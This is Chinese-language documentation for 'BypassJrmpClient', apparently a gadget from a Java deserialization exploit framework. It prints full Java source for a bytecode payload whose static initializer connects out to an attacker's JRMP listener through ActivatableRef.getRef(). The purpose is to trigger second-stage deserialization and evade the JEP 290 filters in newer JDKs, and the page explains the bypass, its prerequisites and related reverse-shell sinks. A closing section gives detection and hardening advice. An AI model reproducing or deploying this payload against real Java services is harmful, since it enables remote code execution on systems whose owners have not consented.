- 类别:bytecode 别名:— 优先级:—
- 作者:N1ght
- 依赖:无(仅用 JDK 内置的
sun.rmi.*与java.rmi.*)
生成一段“字节码 sink”:当这段字节码被目标 JVM 加载并初始化(典型是经 BytecodeConvert 处理后由 TemplatesImpl 触发 defineClass/newInstance)时,其静态初始化块会主动向攻击者指定的 ip:port 发起一次 JRMP(RMI over JRMP)出站连接,从而把攻击面转成第二阶段反序列化——由攻击者的 JRMP 监听端(如 ysoserial JRMPListener)回传恶意序列化对象,在受害端被反序列化。它刻意走 ActivatableRef.getRef() 这条激活(Activation)路径,用以绕过高版本 JDK 对经典 JRMP/RMI 反序列化路径施加的过滤限制。
- 入口
tags:Bytecode、ENDBytecode—— 本 gadget 产出的是原始字节码byte[],需由一个消费Bytecode的上游装载/处理环承接。全库中以nextTags消费Bytecode的正是 BytecodeConvert(tags=[BytecodeConvertTag]、nextTags=[Bytecode]),它再上接TemplatesImpl等字节码装载器。END—— 标记本 gadget 为链尾 sink,其后不再衔接其它 gadget。
- 衔接
nextTags:(空)—— 作为终点,不向下游暴露可续接的标签。 excludes:(空)—— 无互斥标记。
@GadgetTags(tags={"Bytecode", "END"})
@GadgetAnnotation(name="进行JrmpClient", description="Bypass高版本jdk进行JRMP反序列化", authors={"N1ght"})
public class BypassJrmpClient implements Gadget {
@Param(name="ip", description="JRMP ip")
public String ip = "127.0.0.1";
@Param(name="port", description="JRMP port", type=ParamType.Integer)
public String port = "9999";
public byte[] getObject() throws Exception {
JavassistHelper javassistHelper = new JavassistHelper(BypassJrmpClientBytecode.class);
javassistHelper.modifyStringField("ip", this.ip);
javassistHelper.modifyStringField("port", this.port);
return javassistHelper.getBytecode();
}
@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
chain.doCreate(context); // 先驱动内层(本 gadget 处于链尾,通常内层为空 END)
return this.getObject(); // 返回改写后的字节码
}
}逐段说明:
getObject()取模板类BypassJrmpClientBytecode的 class 文件,用JavassistHelper.modifyStringField把模板里的两个静态String常量ip、port替换为用户配置值,最后getBytecode()返回改写后的byte[]。没有任何运行时利用逻辑在生成阶段执行——恶意行为完全内嵌在字节码的静态块里,等待目标端加载时触发。invoke()遵循本库“由内向外”的构建约定:先chain.doCreate(context)驱动内层(此处为链尾,内层通常为空产物),再返回本环产出的字节码。返回类型是byte[],正因如此它必须交给消费Bytecode标签的 BytecodeConvert → 字节码装载器(如TemplatesImpl)才能落地执行。
public class BypassJrmpClientBytecode {
public static String ip; // 被 gadget 改写为攻击者 IP
public static String port; // 被 gadget 改写为攻击者端口
public BypassJrmpClientBytecode() throws Exception {
ObjID id2 = new ObjID(new Random().nextInt());
TCPEndpoint te = new TCPEndpoint(ip, Integer.parseInt(port));
UnicastRef ref = new UnicastRef(new LiveRef(id2, te, false));
RemoteObjectInvocationHandler handler = new RemoteObjectInvocationHandler(ref);
Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),
new Class[]{Remote.class, Activator.class}, handler);
ActivationID activationID = new ActivationID((Activator)proxy);
ActivatableRef activatableRef = new ActivatableRef();
Field id = activatableRef.getClass().getDeclaredField("id");
id.setAccessible(true);
id.set(activatableRef, activationID);
Method getRef2 = ActivatableRef.class.getDeclaredMethod("getRef", new Class[0]);
getRef2.setAccessible(true);
getRef2.invoke(activatableRef, new Object[0]); // 触发点:走 Activation 路径发起 JRMP
}
static {
try {
new BypassJrmpClientBytecode(); // 类初始化即执行 → 无需实例化即可自触发
} catch (Exception e) {
throw new RuntimeException(e);
}
}
}逐段说明:
- 触发时机:恶意逻辑写在
static {}静态初始化块中,只要该类被初始化(例如TemplatesImpl将字节码defineClass后newInstance,或任意导致类初始化的路径)即自动运行new BypassJrmpClientBytecode()。这与TemplatesImpl链“字节码即执行”的原理一致,因此本 gadget 天然与TemplatesImpl装载器配套。 - 构造远程引用:
TCPEndpoint(ip, port)指向攻击者监听端;LiveRef+UnicastRef封装成一个 JRMP 远程引用;RemoteObjectInvocationHandler(ref)是标准的 RMI 动态代理处理器——任何对该代理接口方法的调用都会转成一次到ip:port的 JRMP 远程调用。 - 动态代理伪装成 Activator:
Proxy.newProxyInstance(..., {Remote.class, Activator.class}, handler)生成一个同时实现Remote与java.rmi.activation.Activator的代理对象。 - 关键的绕过路径:将该代理包成
ActivationID(proxy),反射塞进ActivatableRef的私有字段id,再反射调用ActivatableRef.getRef()。ActivatableRef.getRef()会走 RMI 激活(Activation)机制去“激活”远程对象,内部对Activator(即我们的代理)发起调用 → 命中RemoteObjectInvocationHandler→ 建立到ip:port的 JRMP 连接。攻击者的JRMPListener收到连接后回传恶意序列化数据,受害 JVM 对其反序列化,形成第二阶段反序列化。 - 为何能“Bypass 高版本 JDK”:经典 JRMP 客户端 gadget(如直接以
UnicastRef/RegistryImpl_Stub触发的写法)在新版 JDK 上会被 RMI 注册表/DGC 的反序列化过滤(JEP 290 及sun.rmi.*相关过滤器)拦截或限制。此处不把 JRMP 触发逻辑放进反序列化对象图,而是放进已获得代码执行能力后运行的字节码静态块,用ActivatableRef的激活路径主动发起调用,绕开入口反序列化过滤器对 RMI 对象图的检查,因此可在高版本 JDK 下仍完成 JRMP 出站与二次反序列化。
注:反编译头部若出现
Could not load the following classes(缺失sun.rmi.*内部类)属正常现象,不影响上述逻辑判断。
| 字段 | 类型 | 名称 | 说明 | 默认值 | 可选值 |
|---|---|---|---|---|---|
ip |
String | ip | JRMP 服务端(攻击者 JRMPListener)IP |
127.0.0.1 |
— |
port |
String(ParamType.Integer) |
port | JRMP 服务端端口 | 9999 |
— |
两个参数在生成阶段被写入模板类的静态常量,运行期由静态块读取用于建立 TCPEndpoint。
- 无第三方依赖:仅依赖 JDK 自带
java.rmi.activation.*、sun.rmi.server.*、sun.rmi.transport.*,任何目标环境(存在这些内部 API 的 JDK)皆可用。 - 定位为字节码 sink,不是独立对象 gadget:它产出的是
byte[],必须经 BytecodeConvert 处理并由字节码装载器(TemplatesImpl等)加载才会执行,无法单独作为反序列化对象图使用。 - 核心价值是“二次反序列化 + 高版本绕过”:目标是让受害端主动连回攻击者 JRMP 端,把真正的利用载荷放到 JRMP 响应里执行,规避入口处的反序列化过滤/黑名单。
- 前置条件:目标需允许出站到攻击者
ip:port(存在到攻击者 JRMP 端口的网络可达性);sun.rmi.server.ActivatableRef及其id字段、getRef方法在目标 JDK 中可反射访问(在启用强封装/--illegal-access=deny的极高版本 JDK 上,setAccessible可能受模块系统限制)。
自由构件,未直接出现在 51 条预设链中(usedInChains 为空)。实际使用时按“字节码装载器 → BytecodeConvert → BypassJrmpClient”的方式手动组合,多与 TemplatesImpl 装载器(如 CB/CC 系列 nextTags=Getter 承接 TemplatesImpl)搭配。
- 上游承接(消费本 gadget 的
Bytecode标签):BytecodeConvert - 同族字节码 sink(同为
tags=[Bytecode, END]的执行/回连类载荷):Exec、ReverseShell、DNSLog - 装载路径参考:
TemplatesImpl字节码链(见各Getter链条目)
- 网络侧:监控 Java 服务进程发起的异常出站 TCP 连接,尤其是短时内到非常规主机/端口的 RMI/JRMP 握手流量(JRMP 报文头魔数
0x4a524d49"JRMI")。JRMPListener 回连是强指标。 - 运行时侧:告警
TemplatesImpl/defineClass触发的可疑类初始化,以及静态块内构造UnicastRef/LiveRef/ActivationID/ActivatableRef并反射调用ActivatableRef.getRef的行为;对sun.rmi.server.ActivatableRef#getRef、java.rmi.activation.ActivationID的调用可做栈溯源检测。 - 加固建议:
- 部署反序列化白名单/
ObjectInputFilter(JEP 290),并对 RMI 相关类(sun.rmi.*、java.rmi.server.RemoteObjectInvocationHandler)保持限制;注意本手法刻意绕开入口过滤,故不能仅依赖入口过滤器。 - 出站网络最小化:对应用服务器实施出站白名单,阻断到未知主机的任意端口连接,直接切断 JRMP 回连。
- 升级/收紧 JDK 模块封装(
--illegal-access=deny、强封装),限制对sun.rmi.*内部类的反射访问,削弱本模板对ActivatableRef私有字段/方法的可达性。 - 从源头封堵字节码 sink:隔离/禁用不受信的
TemplatesImpl反序列化装载路径(如禁用不受信 XSLT/Translet 加载)。
- 部署反序列化白名单/